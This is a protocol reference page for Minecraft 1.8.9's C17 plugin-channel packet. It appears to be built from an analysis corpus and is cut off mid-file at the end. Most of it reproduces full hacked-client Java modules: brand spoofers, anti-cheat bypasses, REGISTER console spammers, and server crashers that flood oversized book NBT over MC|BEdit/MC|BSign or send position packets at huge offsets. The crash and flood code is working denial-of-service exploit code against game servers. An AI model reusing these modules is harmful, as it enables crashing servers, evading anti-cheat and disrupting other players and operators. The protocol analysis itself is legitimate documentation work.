0x17 C17PacketCustomPayload
Sends a plugin channel message from client to server. Used for mod communication.
Published 2026-06-18 · Updated 2026-10-14
Fields
| Field | Type | Description |
|---|---|---|
| channel | String | Plugin channel name (e.g. MC|BEdit, REGISTER) |
| data | PacketBuffer (remaining) | Channel-specific payload |
Wire Encoding
| Field | Type | Notes |
|---|---|---|
| Channel | String | Plugin channel identifier |
| Data Length | short | |
| Data | byte[] | Channel-specific payload |
MCP References
NetHandlerPlayServer.processCustomPayload()Handler Interface
INetHandlerPlayServerNotes
Vanilla Source
| 1 | |
| 2 | |
| 3 | |
| 4 | |
| 5 | |
| 6 | |
| 7 | |
| 8 | |
| 9 | |
| 10 | |
| 11 | |
| 12 | |
| 13 | |
| 14 | |
| 15 | |
| 16 | |
| 17 | |
| 18 | |
| 19 | |
| 20 | |
| 21 | |
| 22 | |
| 23 | |
| 24 | |
| 25 | |
| 26 | |
| 27 | |
| 28 | |
| 29 | |
| 30 | |
| 31 | |
| 32 | |
| 33 | |
| 34 | |
| 35 | |
| 36 | |
| 37 | |
| 38 | |
| 39 | |
| 40 | |
| 41 | |
| 42 | |
| 43 | |
| 44 | |
| 45 | |
| 46 | |
| 47 | |
| 48 | |
| 49 | |
| 50 | |
| 51 | |
| 52 | |
| 53 | |
| 54 | |
| 55 | |
| 56 | |
| 57 | |
| 58 | |
| 59 | |
| 60 | |
| 61 | |
| 62 | |
| 63 | |
| 64 | |
| 65 | |
| 66 | |
| 67 | |
| 68 | |
| 69 | |
| 70 | |
| 71 | |
| 72 | |
| 73 | |
Deobfuscated MCP 1.8.9 source of C17PacketCustomPayload, fetched directly from Marcelektro/MavenMCP-1.8.9 (net/minecraft/network/play/client/C17PacketCustomPayload.java) at build time and verified present.
Deep Dive
Role in the protocol
C17 is the plugin-channel transport: a channel String plus a short-length-prefixed byte payload. Vanilla channels cover brand (MC|Brand), books (MC|BEdit, MC|BSign), anvil rename (MC|ItemName), villager trades (MC|TrSel), command blocks (MC|AdvCdm) and channel registration (REGISTER). It is the most structurally open serverbound packet, since the server hands unknown channels to plugin handlers unchanged.
Vanilla handling
processVanilla250Packet dispatches on channel: MC|BEdit and MC|BSign deserialize an ItemStack and validate its NBT (ItemWritableBook.isNBTValid / ItemEditableBook.validBookTagContents) before applying; MC|TrSel reads an int trade index against the open merchant container; MC|AdvCdm requires command blocks enabled plus permission level 2 and creative mode; MC|ItemName renames the anvil item. Unknown channels are ignored by vanilla. The client side registers MC|Brand once per connection via ClientBrandRetriever.
Why clients touch it
Five families. (1) Brand spoofing: Rise 5.99 ClientSpoofer rewrites C17 payloads per mode, and the Rise 6.x ClientSpoofer's LabyMod mode cancels and replays six LabyMod/Intave payloads. (2) Disabler payload rewriting: Rise 6.2.4 TestDisabler overwrites every C17 payload with 'eyser'. (3) Console spam: Rise 6.x ChannelConsoleSpammer floods REGISTER. (4) Crash payloads: Rise 5.99 Crasher's BEdit and Mare modes push deeply nested book NBT over MC|BEdit; Tenacity's CrasherCommand floods a fixed C17. (5) Blink: PingSpoofComponent holds C17 in its blink tuple. The two new research clients add two more. LiquidSense Dev filters the channel stream in AntiForge (cancel non-MC| payloads and FMLProxyPacket, rewrite MC|Brand to vanilla), sends a spoofed AntiCheat channel JSON in HYTBypass, floods MC|BSign and MC|BEdit book payloads in ServerCrasher, and forces MC|Brand in MixinNetHandlerPlayClient. November Recode 2.0 has no dedicated C17 module; its LuaEventPacket wrapper maps C17 to id 0x17 for the scripting API.
Exploit surface
The brand channel is a fingerprinting surface in both directions: servers read MC|Brand and REGISTER to identify clients, and spoofers forge them. The MC|BEdit path is the crash vector because the server deserializes a full ItemStack and validates deep NBT; the nested {extra:[{...}} page strings in Rise 5.99's BEdit mode are the same family as the C0E and C10 book crashes. REGISTER flooding abuses plugin channel registries that allocate per registration. Behavioral mismatch is the anti-cheat counter: a spoofed brand that behaves unlike the real client is itself a signal.
Server-Side Handling
processVanilla250Packet: channel dispatch with per-channel validation. MC|BEdit/MC|BSign validate book NBT and throw IOException on invalid tags; MC|AdvCdm gates on command blocks enabled, permission 2 and creative; MC|ItemName renames with a length check; MC|TrSel indexes the open ContainerMerchant. Unknown channels are ignored. The packet data is a PacketBuffer, so parsing is stateful and plugin-dependent.
Protocol Analysis
String channel + short data length + bytes. The REGISTER channel carries a colon-separated channel list, which is how mods announce handlers. MC|Brand is sent exactly once per connection right after login, which is why brand spoofers tell the user to rejoin. Payloads are length-prefixed shorts, so the 32KB cap applies per payload.
Anti-Cheat Landscape
Anti-cheats do not parse C17 content; anti-exploit plugins and client-detection plugins do. Client detection reads MC|Brand and REGISTER lists and compares against known client signatures, so spoofing is a cat-and-mouse over payload bytes. Book-NBT crash payloads are detected only by patched parsers. REGISTER flooding is rate-limited by anti-spam plugins.
implementation Implementation Cases
The plugin-channel packet and the corpus's widest abuse surface: brand spoofing (Rise 5.99 ClientSpoofer, Rise 6.x LabyMod), payload rewriting (TestDisabler), REGISTER flooding (ChannelConsoleSpammer), book-NBT crash payloads (Rise 5.99 Crasher, Tenacity CrasherCommand) and blink-hold integration.
Rewrite the C17 brand handshake so servers fingerprint the client as Forge, Lunar, LabyMod, PvP Lounge, CheatBreaker or Geyser.
On PacketSendEvent, mutates every C17 in place: sets a new payload (writeString or raw bytes) per mode, and for Lunar also rewrites the channel to REGISTER. Requires a rejoin because MC|Brand is sent once per connection.
// ===== FILE: Rise 5.99, dev/rise/module/impl/other/ClientSpoofer.java =====
/*
Copyright Alan Wood 2021
None of this code to be reused without my written permission
Intellectual Rights owned by Alan Wood
*/
package dev.rise.module.impl.other;
import dev.rise.event.impl.packet.PacketSendEvent;
import dev.rise.module.Module;
import dev.rise.module.api.ModuleInfo;
import dev.rise.module.enums.Category;
import dev.rise.setting.impl.ModeSetting;
import io.netty.buffer.Unpooled;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
@ModuleInfo(name = "ClientSpoofer", description = "Makes servers think you're on the specified client", category = Category.OTHER)
public final class ClientSpoofer extends Module {
private final ModeSetting mode = new ModeSetting("Mode", this, "Forge", "Forge", "Lunar", "LabyMod", "PvP Lounge", "CheatBreaker", "Geyser");
@Override
protected void onEnable() {
this.registerNotification("Rejoin for " + this.getModuleInfo().name() + " to work.");
}
@Override
public void onPacketSend(final PacketSendEvent event) {
if (event.getPacket() instanceof C17PacketCustomPayload) {
final C17PacketCustomPayload packet = (C17PacketCustomPayload) event.getPacket();
switch (mode.getMode()) {
case "Forge": {
packet.setData(createPacketBuffer("FML", true));
break;
}
case "Lunar": {
packet.setChannel("REGISTER");
packet.setData(createPacketBuffer("Lunar-Client", false));
break;
}
case "LabyMod": {
packet.setData(createPacketBuffer("LMC", true));
break;
}
case "PvP Lounge": {
packet.setData(createPacketBuffer("PLC18", false));
break;
}
case "CheatBreaker": {
packet.setData(createPacketBuffer("CB", true));
break;
}
case "Geyser": {
packet.setData(createPacketBuffer("Geyser", false));
break;
}
}
}
}
private PacketBuffer createPacketBuffer(final String data, final boolean string) {
if (string)
return new PacketBuffer(Unpooled.buffer()).writeString(data);
else
return new PacketBuffer(Unpooled.wrappedBuffer(data.getBytes()));
}
}
// NOTE (AI): ClientSpoofer rewrites the brand handshake on PacketSendEvent. Every outgoing C17 is mutated in place per the selected mode: Forge rewrites the payload to the FML string, Lunar changes the channel to REGISTER with a Lunar-Client payload, LabyMod/PvP Lounge/CheatBreaker/Geyser rewrite the payload with their brand strings. Note the module tells the user to rejoin: the MC|Brand packet is only sent once per connection, so a mid-session rewrite affects nothing until the next login.Fully impersonate the LabyMod handshake: cancel the real C17 and replay six LabyMod and Intave channel payloads.
On PacketSendEvent, cancels the original C17 and sends MC|Brand 'labymod', REGISTER for labymod:neominecraft:intavelabymod3:main, version JSONs on labymod:neo and labymod3:main, and two minecraft:intave clientconfig messages, all via sendNoEvent. The spoofed version defaults to 4.2.31.
// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/clientspoofer/LabyMod.java =====
package com.alan.clients.module.impl.other.clientspoofer;
import com.alan.clients.event.Listener;
import com.alan.clients.event.annotations.EventLink;
import com.alan.clients.event.impl.packet.PacketSendEvent;
import com.alan.clients.module.impl.other.ClientSpoofer;
import com.alan.clients.util.packet.PacketUtil;
import com.alan.clients.util.tuples.Triple;
import com.alan.clients.value.Mode;
import com.alan.clients.value.impl.StringValue;
import io.netty.buffer.Unpooled;
import net.minecraft.network.Packet;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import java.util.ArrayList;
public class LabyMod extends Mode<ClientSpoofer> {
public LabyMod(String name, ClientSpoofer parent) {
super(name, parent);
}
private final StringValue version = new StringValue("Spoofed Version, Latest would be preferred",
this, "4.2.31");
@EventLink
public final Listener<PacketSendEvent> onPacketSend = event -> {
Packet<?> packet = event.getPacket();
if (packet instanceof C17PacketCustomPayload) {
ArrayList<Triple<String, String, Boolean>> payloads = new ArrayList<Triple<String, String, Boolean>>() {{
add(new Triple<>("MC|Brand", "labymod",true));
add(new Triple<>("REGISTER", "labymod:neominecraft:intavelabymod3:main",false));
add(new Triple<>("labymod:neo", "{\"version\":\"" + version.getValue() + "\"}",false));
add(new Triple<>("labymod3:main", "INFO{\"version\":\"" + version.getValue() + "\"}",false));
add(new Triple<>("minecraft:intave", "L{\"legacySneakHeight\":false,\"legacyOldRange\":false,\"legacyOldSlowdown\":false}",false));
add(new Triple<>("minecraft:intave", "\n" +
"clientconfigL{\"legacySneakHeight\":false,\"legacyOldRange\":false,\"legacyOldSlowdown\":false}",false));
}};
event.setCancelled();
for (Triple<String, String, Boolean> payload : payloads) {
PacketBuffer packetbuffer = new PacketBuffer(Unpooled.buffer());
if (payload.getThird()) {
packetbuffer.writeString(payload.getSecond());
} else {
packetbuffer.writeBytes(payload.getSecond().getBytes());
}
C17PacketCustomPayload newPayload = new C17PacketCustomPayload(payload.getFirst(), packetbuffer);
PacketUtil.sendNoEvent(newPayload);
}
}
};
}
// NOTE (AI): LabyMod is a Mode of the Rise 6.x ClientSpoofer. On every C17 it cancels the original packet and replays six spoofed payloads via sendNoEvent: MC|Brand 'labymod', a REGISTER for the labymod channels, labymod:neo and labymod3:main version JSONs, and two minecraft:intave clientconfig messages. The version string is user-configurable and defaults to 4.2.31.Flood the server with REGISTER payloads naming random MC| channels.
On TickEvent, sends channelsPerTick (1..100) REGISTER packets, each with a random 8-16 letter channel name, via PacketUtil.send.
// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/consolespammer/ChannelConsoleSpammer.java =====
package com.alan.clients.module.impl.exploit.consolespammer;
import com.alan.clients.event.Listener;
import com.alan.clients.event.annotations.EventLink;
import com.alan.clients.event.impl.other.TickEvent;
import com.alan.clients.module.impl.exploit.ConsoleSpammer;
import com.alan.clients.util.packet.PacketUtil;
import com.alan.clients.value.Mode;
import com.alan.clients.value.impl.NumberValue;
import io.netty.buffer.Unpooled;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import org.apache.commons.lang3.RandomStringUtils;
public class ChannelConsoleSpammer extends Mode<ConsoleSpammer> {
private final NumberValue channelsPerTick = new NumberValue("Channels/tick", this, 1, 1, 100, 1);
public ChannelConsoleSpammer(String name, ConsoleSpammer parent) {
super(name, parent);
}
@EventLink
public final Listener<TickEvent> onTick = event -> {
for (int i = 0; i < channelsPerTick.getValue().intValue(); ++i) {
final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());
buffer.writeString("MC|" + RandomStringUtils.randomAlphabetic(8, 16));
PacketUtil.send(new C17PacketCustomPayload("REGISTER", buffer));
}
};
}
// NOTE (AI): ChannelConsoleSpammer is a Mode of the Rise 6.x ConsoleSpammer. Every tick it sends up to channelsPerTick REGISTER packets, each carrying a random 'MC|' + 8-16 random letters channel name. The payload is a registration for channels the client never uses; the spam is aimed at server consoles and plugin channel registries that log or allocate per REGISTER.Push crafted book NBT over the MC|BEdit channel to crash servers with unpatched book parsers.
Rise 5.99's BEdit mode sends 30 MC|BEdit payloads whose book pages are deeply nested {extra:[{...}} JSON; Mare mode repeats the same construction packets.getValue() times. Tenacity's CrasherCommand floods a fixed C17 with repeated U+1D11E bytes.
// ===== FILE: Tenacity 6.0, dev/tenacity/command/impl/CrasherCommand.java =====
package dev.tenacity.command.impl;
import dev.tenacity.Tenacity;
import dev.tenacity.command.AbstractCommand;
import dev.tenacity.exception.UnknownModuleException;
import dev.tenacity.module.Module;
import dev.tenacity.util.misc.ChatUtil;
import io.netty.buffer.Unpooled;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import org.lwjgl.input.Keyboard;
import java.nio.charset.StandardCharsets;
import static dev.tenacity.util.Utils.mc;
public final class CrasherCommand extends AbstractCommand {
public CrasherCommand() {
super("crash", "Sends packets to crash a server", ".crash (packet amount) (packet value or mn)", 2);
}
@Override
public void onCommand(final String[] arguments) {
String channelName = "bluetooth cum";
String payload = "\uD834\uDD1E\uD834\uDD1E\uD834\uDD1E\uD834\uDD1E\uD834\uDD1E\uD834\uDD1E\uD834\uDD1E";
byte[] payloadBytes = payload.getBytes(StandardCharsets.UTF_8);
PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());
packetBuffer.writeBytes(payloadBytes);
if (arguments.length > 0 && arguments[0].equalsIgnoreCase("mn")) {
sendStringPayload(channelName, payload);
} else {
int packetCount = 1;
if (arguments.length > 0) {
try {
packetCount = Integer.parseInt(arguments[0]);
} catch (NumberFormatException e) {
ChatUtil.error("Invalid packet amount. Defaulting to 1.");
}
}
ChatUtil.enable("Sending " + packetCount + " packets!");
for (int i = 0; i < packetCount; i++) {
C17PacketCustomPayload customPacket = new C17PacketCustomPayload(channelName, packetBuffer);
mc.thePlayer.sendQueue.addToSendQueue(customPacket);
ChatUtil.success("Packet sent!");
}
}
}
private void sendStringPayload(String channelName, String payload) {
}
}
// NOTE (AI): CrasherCommand implements '.crash (amount) (mn)'. The default path builds a C17 with channel name 'bluetooth cum' and a payload of repeated U+1D11E musical-symbol bytes, then pushes packetCount copies through the vanilla send queue. The payload reuses the same byte sequence for every packet; the 'mn' argument routes to an unimplemented string-payload helper.Rewrite every outgoing C17 payload to fixed bytes as a disabler test mode.
On PacketSendEvent, replaces the C17 buffer with the raw bytes of the string 'eyser' without cancelling the packet.
// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/TestDisabler.java =====
package com.alan.clients.module.impl.exploit.disabler;
import com.alan.clients.component.impl.player.PingSpoofComponent;
import com.alan.clients.event.Listener;
import com.alan.clients.event.annotations.EventLink;
import com.alan.clients.event.impl.motion.JumpEvent;
import com.alan.clients.event.impl.motion.PreMotionEvent;
import com.alan.clients.event.impl.motion.PreUpdateEvent;
import com.alan.clients.event.impl.other.StepEvent;
import com.alan.clients.event.impl.packet.PacketSendEvent;
import com.alan.clients.module.impl.combat.KillAura;
import com.alan.clients.module.impl.exploit.Disabler;
import com.alan.clients.util.packet.PacketUtil;
import com.alan.clients.util.player.MoveUtil;
import com.alan.clients.value.Mode;
import io.netty.buffer.Unpooled;
import net.minecraft.network.Packet;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import rip.vantage.commons.util.time.StopWatch;
import java.util.Collection;
import java.util.HashSet;
public class TestDisabler extends Mode<Disabler> {
private final StopWatch stopWatch = new StopWatch();
private final Collection<Packet<?>> packetCollection = new HashSet<>();
public TestDisabler(String name, Disabler parent) {
super(name, parent);
}
@EventLink()
public final Listener<PacketSendEvent> onPacketSend = event -> {
final Packet<?> packet = event.getPacket();
if (packet instanceof C17PacketCustomPayload) {
final C17PacketCustomPayload wrapper = (C17PacketCustomPayload) packet;
// It's meant to be "eyser" don't change itt
wrapper.setData(createPacketBuffer("eyser", false));
}
};
private PacketBuffer createPacketBuffer(final String data, final boolean string) {
if (string) {
return new PacketBuffer(Unpooled.buffer()).writeString(data);
} else {
return new PacketBuffer(Unpooled.wrappedBuffer(data.getBytes()));
}
}
}
// NOTE (AI): TestDisabler is a Mode of the Rise 6.x Disabler. On PacketSendEvent it rewrites every C17's payload to the raw bytes 'eyser' (the source comment insists on the misspelling), replacing the buffer in place without cancelling the packet. The mode is a test rig for payload rewriting and sits alongside the module's other per-server disabler modes.Strip Forge and mod fingerprints from the C17 stream: cancel non-MC| payloads and FMLProxyPacket, and rewrite MC|Brand to the literal 'vanilla'.
The PacketEvent handler, gated on enabled and not a singleplayer world, cancels FMLProxyPacket by class name, cancels any C17 whose channel does not start with 'MC|', and for MC|Brand replaces the payload with a buffer writing the string 'vanilla'. The file carries an older commented-out handler (lines 28 to 56) that did the same checks in a different order; the live handler merged them.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/special/AntiForge.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.special;
import io.netty.buffer.Unpooled;
import net.ccbluex.liquidbounce.event.EventTarget;
import net.ccbluex.liquidbounce.event.Listenable;
import net.ccbluex.liquidbounce.event.PacketEvent;
import net.ccbluex.liquidbounce.features.module.ModuleManager;
import net.ccbluex.liquidbounce.features.module.modules.world.Scaffold;
import net.ccbluex.liquidbounce.utils.MinecraftInstance;
import net.minecraft.network.Packet;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.fml.relauncher.SideOnly;
@SideOnly(Side.CLIENT)
public class AntiForge extends MinecraftInstance implements Listenable {
public static boolean enabled = true;
public static boolean blockFML = true;
public static boolean blockProxyPacket = true;
public static boolean blockPayloadPackets = true;
/*
@EventTarget
public void onPacket(PacketEvent event) {
final Packet<?> packet = event.getPacket();
if (enabled && !mc.isIntegratedServerRunning()) {
try {
if (blockFML) {
if (blockProxyPacket && packet.getClass().getName().equals("net.minecraftforge.fml.common.network.internal.FMLProxyPacket"))
event.cancelEvent();
if (blockPayloadPackets && packet instanceof C17PacketCustomPayload) {
final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet;
if (!customPayload.getChannelName().startsWith("MC|")) event.cancelEvent();
}
}
if (enabled && packet instanceof C17PacketCustomPayload) {
C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet;
if (customPayload.getChannelName().equalsIgnoreCase("MC|Brand"))
customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString("vanilla"));
}
} catch (final Exception e) {
e.printStackTrace();
}
}
}
*/
@EventTarget
public void onPacket(final PacketEvent event) {
final Packet<?> packet = event.getPacket();
if (AntiForge.enabled && !AntiForge.mc.isIntegratedServerRunning()) {
try {
if (blockProxyPacket && packet.getClass().getName().equals("net.minecraftforge.fml.common.network.internal.FMLProxyPacket")) {
event.cancelEvent();
}
if (blockPayloadPackets && packet instanceof C17PacketCustomPayload) {
final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet;
if (!customPayload.getChannelName().startsWith("MC|")) {
event.cancelEvent();
}
else if (customPayload.getChannelName().equalsIgnoreCase("MC|Brand")) {
customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString("vanilla"));
}
}
}
catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public boolean handleEvents() {
return true;
}
}
// NOTE (AI): The full AntiForge special class: the live handler cancels FMLProxyPacket by class name, cancels any C17 not on an MC| channel, and rewrites MC|Brand to 'vanilla'. The older commented-out handler above it shows the same logic in an earlier form. MixinNetHandlerPlayClient pairs with this by forcing MC|Brand on join.Send a crafted JSON payload on the 'AntiCheat' channel two seconds after joining a world, advertising a spoofed client fingerprint.
On WorldEvent, spawns a thread that sleeps 2000ms, builds a JsonObject with a base64 hash, the Chinese title for 'Minecraft 1.8.9', isLiquidbounce false, path 'mixins.mcwrapper.json' and the player name, writes it into a PacketBuffer, and sends C17 on channel 'AntiCheat' via the network manager. The payload is aimed at servers whose anti-cheat plugin asks clients to self-identify on that channel.
// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/HYTBypass.java =====
package me.AquaVit.liquidSense.modules.misc;
import com.google.gson.JsonObject;
import io.netty.buffer.Unpooled;
import net.ccbluex.liquidbounce.event.EventTarget;
import net.ccbluex.liquidbounce.event.WorldEvent;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
@ModuleInfo(name = "HYTBypass", description = ":/", category = ModuleCategory.MISC)
public class HYTBypass extends Module {
@EventTarget
public void onWorld(final WorldEvent e) {
new Thread(() -> {
try {
Thread.sleep(2000);
JsonObject jsonObject = new JsonObject();
jsonObject.addProperty("base64", "ecbeb575677ab9a37410748a5f429f9f");
jsonObject.addProperty("cltitle", "\u6211\u7684\u4e16\u754c 1.8.9");
jsonObject.addProperty("isLiquidbounce", false);
jsonObject.addProperty("path", "mixins.mcwrapper.json");
jsonObject.addProperty("player", mc.thePlayer.getName());
PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());
packetBuffer.writeString(jsonObject.toString());
C17PacketCustomPayload antiCheat = new C17PacketCustomPayload("AntiCheat", packetBuffer);
mc.getNetHandler().getNetworkManager().sendPacket(antiCheat);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}).start();
}
}
// NOTE (AI): The full HYTBypass module: a delayed thread sends the AntiCheat channel payload once per world join, claiming a non-LiquidBounce mixin wrapper with a fixed base64 and the player's name. The Chinese title string is the client name for Minecraft 1.8.9.Crash unpatched servers by flooding MC|BSign and MC|BEdit with book NBT payloads, plus position-spam crash modes in the same module shell.
BookFlood mode, on every pre-motion tick, builds an ItemStack writable book with a 50-page NBTTagList of 600-character random strings and sends 100 C17 payloads alternating MC|BSign and MC|BEdit, each writing the book ItemStack into a fresh PacketBuffer. The other modes are position based (AACNew and AACOther flood C04 at huge offsets, MassiveChunkLoading steps y to 255) or chat based (WorldEdit //calc, Pex /pex promote).
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.exploit;
import io.netty.buffer.Unpooled;
import net.ccbluex.liquidbounce.event.*;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.utils.misc.RandomUtils;
import net.ccbluex.liquidbounce.utils.timer.MSTimer;
import net.ccbluex.liquidbounce.value.ListValue;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagList;
import net.minecraft.nbt.NBTTagString;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import java.util.Random;
@ModuleInfo(name = "ServerCrasher", description = "Allows you to crash certain server.", category = ModuleCategory.EXPLOIT)
public class ServerCrasher extends Module {
private final ListValue modeValue = new ListValue("Mode", new String[]{"AACNew", "AACOther", "AACOld", "WorldEdit", "Pex", "BookFlood", "CubeCraft", "MassiveChunkLoading"}, "AACNew");
private MSTimer pexTimer = new MSTimer();
@Override
public void onEnable() {
if (mc.thePlayer == null)
return;
switch (modeValue.get().toLowerCase()) {
case "aacnew":
for (int index = 0; index < 9999; ++index)
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 9412 * index, mc.thePlayer.getEntityBoundingBox().minY + 9412 * index, mc.thePlayer.posZ + 9412 * index, true));
break;
case "aacother":
for (int index = 0; index < 9999; ++index)
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 500000 * index, mc.thePlayer.getEntityBoundingBox().minY + 500000 * index, mc.thePlayer.posZ + 500000 * index, true));
break;
case "aacold":
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true));
break;
case "worldedit":
mc.thePlayer.sendChatMessage("//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}");
break;
case "cubecraft":
mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.3D, mc.thePlayer.posZ);
break;
case "massivechunkloading":
for (double yPos = mc.thePlayer.posY; yPos < 255; yPos += 5)
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, yPos, mc.thePlayer.posZ, true));
for (int i = 0; i < (1337 * 5); i += 5) {
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + i, 255, mc.thePlayer.posZ + i, true));
}
break;
}
}
@EventTarget
public void onMotion(final MotionEvent event) {
if (event.getEventState() == EventState.POST)
return;
switch (modeValue.get().toLowerCase()) {
case "bookflood":
final ItemStack bookStack = new ItemStack(Items.writable_book);
final NBTTagCompound bookCompound = new NBTTagCompound();
bookCompound.setString("author", RandomUtils.randomNumber(20));
bookCompound.setString("title", RandomUtils.randomNumber(20));
final NBTTagList pageList = new NBTTagList();
final String pageText = RandomUtils.randomNumber(600);
for (int page = 0; page < 50; page++)
pageList.appendTag(new NBTTagString(pageText));
bookCompound.setTag("pages", pageList);
bookStack.setTagCompound(bookCompound);
for (int packets = 0; packets < 100; packets++) {
final PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());
packetBuffer.writeItemStackToBuffer(bookStack);
mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(new Random().nextBoolean() ? "MC|BSign" : "MC|BEdit", packetBuffer));
}
break;
case "cubecraft":
final double x = mc.thePlayer.posX;
final double y = mc.thePlayer.posY;
final double z = mc.thePlayer.posZ;
for (int i = 0; i < 3000; ++i) {
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.09999999999999D, z, false));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));
}
mc.thePlayer.motionY = 0;
break;
case "pex":
if (pexTimer.hasTimePassed(2000)) {
mc.thePlayer.sendChatMessage(new Random().nextBoolean() ? "/pex promote a a" : "/pex demote a a");
pexTimer.reset();
}
break;
default:
setState(false);
break;
}
}
@EventTarget
public void onWorld(final WorldEvent event) {
if (event.getWorldClient() == null) setState(false);
}
@EventTarget
public void onTick(final TickEvent event) {
if (mc.thePlayer == null || mc.theWorld == null) setState(false);
}
@Override
public String getTag() {
return modeValue.get();
}
}
// NOTE (AI): The full ServerCrasher module: BookFlood sends 100 C17 payloads per pre-motion tick, alternating MC|BSign and MC|BEdit, each carrying a writable book with 50 pages of 600 random characters. The AAC, WorldEdit, Pex, CubeCraft and MassiveChunkLoading modes share the shell but use C04 or chat instead of C17.Expose C17 (and every other serverbound class) to Lua scripts as a numeric packet id plus direction.
A static map binds each packet class to its protocol id, C17 at 0x17; the LuaEventPacket constructor resolves the incoming EventPacket's class through the map and records 'out' for EventPacket.Out sends, 'in' otherwise. The @DontObfuscate annotation keeps the class name readable so the Lua runtime can reflect it.
// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====
/* November.lol © 2023 */
package lol.november.scripting.wrapper.event;
import java.util.HashMap;
import java.util.Map;
import lol.november.listener.event.net.EventPacket;
import lol.november.protect.DontObfuscate;
import lombok.Getter;
import lombok.Setter;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.*;
/**
* @author Gavin
* @since 2.0.0
*/
@Getter
@Setter
@DontObfuscate
public class LuaEventPacket {
/**
* A map of each {@link Packet} to their id
*/
private static final Map<Class<? extends Packet<?>>, Integer> packetIds =
new HashMap<>();
static {
// you may ask: why not use reflection and just.. do a funny?
// obfuscation eventually happens so this aids has to happen
packetIds.put(C0APacketAnimation.class, 0x0A);
packetIds.put(C0BPacketEntityAction.class, 0x0B);
packetIds.put(C0CPacketInput.class, 0x0C);
packetIds.put(C0DPacketCloseWindow.class, 0x0D);
packetIds.put(C0EPacketClickWindow.class, 0x0E);
packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);
packetIds.put(C00PacketKeepAlive.class, 0x00);
packetIds.put(C01PacketChatMessage.class, 0x01);
packetIds.put(C02PacketUseEntity.class, 0x02);
packetIds.put(C03PacketPlayer.class, 0x03);
packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);
packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);
packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);
packetIds.put(C07PacketPlayerDigging.class, 0x07);
packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);
packetIds.put(C09PacketHeldItemChange.class, 0x09);
packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);
packetIds.put(C11PacketEnchantItem.class, 0x11);
packetIds.put(C12PacketUpdateSign.class, 0x12);
packetIds.put(C13PacketPlayerAbilities.class, 0x13);
packetIds.put(C14PacketTabComplete.class, 0x14);
packetIds.put(C15PacketClientSettings.class, 0x15);
